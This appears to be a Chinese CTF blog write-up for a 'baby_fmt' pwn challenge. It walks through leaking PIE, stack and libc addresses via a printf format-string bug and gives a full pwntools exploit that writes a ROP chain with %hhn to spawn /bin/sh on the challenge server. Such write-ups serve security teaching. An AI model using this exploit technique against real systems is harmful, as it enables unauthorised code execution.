Administrator
发布于 2026-03-05 / 1 阅读
0
0

baby_fmt

先查保护

Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
​

起初不明白为什么有shadow_stack可以直接覆盖返回地址

  SHSTK:      Enabled

后来查资料得知服务器要打开CET保护,否则shadow_stack不起作用,至此可以确定修改返回地址进行ROP

然后ida反汇编

代码比较简单:

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  char format[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+108h] [rbp-8h]
​
  v4 = __readfsqword(0x28u);
  init();
  strcpy(format, "text:");
  while ( 1 )
  {
    printf("Input your text: ");
    fgets(&format[5], 256, stdin);
    printf(format);
  }

可以看到没有栈溢出,只有一个持续的格式化字符串,

那么我们修改地址的流程是将system函数的地址写入对映真实的返回地址

返回地址储存地址无法用pie基址计算,而泄露时只能泄露地址内储存的值,所以利用argv**这个二级指针,打印出argv[0]的地址进行计算,算出返回地址的栈储存地址,通过%hhn写入

system函数的地址则需要通过libc基址计算,我们有了libc文件,采用printf@libc计算libc基址再计算

,printf@libc的值储存在printf@got中,prinf@got的地址可以通过pie基址计算,pie基址则通过main函数的地址计算。

先进行泄露

AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
text:AAAA0x7ffff7e03963.0xfbad208b.0x7fffffffdc35.0x1.(nil).0x4141413a74786574.0x252e70252e702541.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0xa70252e70.(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x7ffff7fe5af0.0x7fffffffde20.0xc232719259d59c00.0x7fffffffdde0.0x7ffff7c2a1ca.0x7fffffffdd90.0x7fffffffde68.0x155554040.0x5555555551ee(##main##).0x7fffffffde68.0xe2009bfbfe08ea4f.0x1.(nil).0x555555557db0.0x7ffff7ffd000.0xe2009bfbff68ea4f.0xe2008b8106caea4f.0x7fff00000000.(nil).(nil).0x1.0x7fffffffde60.0xc232719259d59c00.0x7fffffffde40
​
​

可以看到在第6个位置出现了0x414141,此8位为text:AAA

ida看到main函数的静态偏移为0x1EE,为第43个参数的最后3位,由于重合概率低,合理推断其为main函数的虚拟地址,可以计算pie基址得到printf@got地址

pwndbg> argv
00:0000│+2f8 0x7fffffffde68 —▸ 0x7fffffffe1b8 ◂— '/home/lmr/Desktop/pwn'
01:0008│+300 0x7fffffffde70 ◂— 0

调试看到argv0的地址为0x7fffffffde68,为第45个计算得到返回地址的地址

下一步获得printf@libc

我们需要将printf@got地址写入内存,再%s读取出来

fmt2=b"%p."*(x-1)+b"<S>"+b"%.8s"+b"<E>"

8(x-6)读取8个,第7个开始读取:* =5text:+len(fmt)+1\n:

x为最低读取数

需要读取和填充一致对齐并自动接收

计算一下至少要13个字节

最后组装,将返回地址修改(借鉴了ai的代码),编写rop即可

from pwn import *
io=remote('challenge.shc.tf',31630)
# io=process('./pwn')
context.binary= ELF('./pwn')
libc = ELF('libc.so.6')
def fmt():
    fmt=b'%p.'*60
    io.sendline(fmt)
    recv=io.recvuntil(b"Input your text: ")
    recv=recv.split(b"Input your text: ")[0]
    recv_=recv.split(b".")
    return recv_
​
io.recvuntil(b"Input your text: ")
recv_=fmt()
main_addr=recv_[42]
main_off=context.binary.symbols['main']#0x1EE
main_addr_num= int(main_addr,16)
pie_base=main_addr_num-main_off
printf_got=pie_base+context.binary.got['printf']
​
argv_arr=int(recv_[44], 16)
buf_addr=argv_arr-0x228
ret_addr=buf_addr-8#正常返回地址
pivot_addr=buf_addr+0x118#修改rsp后的地址
​
fmt2=b"%p."*12+b"<S>"+b"%.8s"+b"<E>"
need=56-5-46-1
payload=fmt2+b'\x00'+(b'A'*need)+p64(printf_got)+b'\n'
io.send(payload)
half_libc=io.recvuntil(b"<E>")
printf_libc=half_libc.split(b"<S>")[1].split(b"<E>")[0]
libc_base=u64(printf_libc.ljust(8, b'\x00'))-libc.symbols['printf']
​
rop=ROP(libc)
ret =libc_base + rop.find_gadget(['ret']).address
pop_rdi = libc_base + rop.find_gadget(['pop rdi', 'ret']).address
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
pivot_gadget = libc_base + 0x42946  # add rsp, 0x118;
​
def write_8byte(io,addr,value):
    io.recvuntil(b"Input your text: ")
    idx=22
    writes = []
​
    for i in range(8):
        bval=(value >>(i*8))&0xff
        writes.append((bval, addr + i))
​
    writes.sort(key=lambda x : x[0])
    d=idx-1
    count=5+d
    parts=[b'%c'*d]
    args =[]
​
    for bval, a in writes:
        pad = (bval-count) % 256
        if pad==0:
            pad=256
​
        parts.append(b'%'+str(pad).encode()+b'c%hhn')
        count=(count+pad)%256
        args.append(p64(0))
        args.append(p64(a))
​
    fmt=b''.join(parts)
    offset=8*(idx-6)
    pad_align=offset-(5+len(fmt)+ 1)
    if pad_align < 0:
        raise ValueError('pad_align negative')
    payload=fmt+b'\x00'+(b'A'*pad_align)+b''.join(args)+b'\n'
    io.send(payload)
​
​
chain=[ret, pop_rdi, binsh, system]
for i, v in enumerate(chain):
    write_8byte(io, pivot_addr + i * 8, v)
write_8byte(io, ret_addr, pivot_gadget)
io.interactive()
​
​
​



评论